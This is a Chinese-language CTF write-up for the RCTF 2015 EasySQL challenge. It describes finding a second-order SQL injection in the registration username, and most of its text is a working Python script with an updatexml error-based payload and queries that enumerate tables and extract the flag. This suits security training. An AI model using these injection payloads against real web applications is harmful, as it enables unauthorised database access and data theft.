RCTF 2015
0x01 EasySQL
进入发现可以注册,先注册一个看看
注册的时候有点奇怪,邮箱的@
不能出现。。。。
登进去看到一批文章,根据url考虑是否有sql注入,fuzz了半天没东西
点用户名的时候发现,可以改密码,考虑是不是存在二次注入。
然后。。。看了大佬的wp,发现是用户名存在二次注入
如果用户名为eki"\
会看到更改用户名处有sql报错信息
注入点找到了,为了自动化,写个脚本
import requests
url = "http://326c9944-4f75-4893-911b-9c517bdc9c5a.node3.buuoj.cn/"
r = requests.session()
def register(name):
data = {
'username' : name,
'password' : '123',
'email' : '123',
}
r.post(url=url+"register.php", data=data)
def login(name):
data = {
'username' : name,
'password' : '123',
}
r.post(url=url+"login.php", data=data)
def changepwd():
data = {
'oldpass' : '',
'newpass' : '',
}
req = r.post(url=url+"changepwd.php", data=data).text
print(req)
#sql="select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())"
#Result:'article,flag,users'
#sql="select(group_concat(column_name))from(information_schema.columns)where(table_name='users')"
#sql="select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')"
sql="select(reverse(group_concat(real_flag_1s_here)))from(users)where(real_flag_1s_here)regexp('^f')"
payload='eki"||updatexml(1,concat(1,({0})),1)#'.format(sql)
register(payload)
login(payload)
changepwd()
这样看师傅的wp发现一个技巧,因为正常字段里前面存着很多垃圾字段,可以用sql的正则表达式来搞,匹配一下开头的f
用法
<sqli>where(<targetname>)regexp(<regexpress>)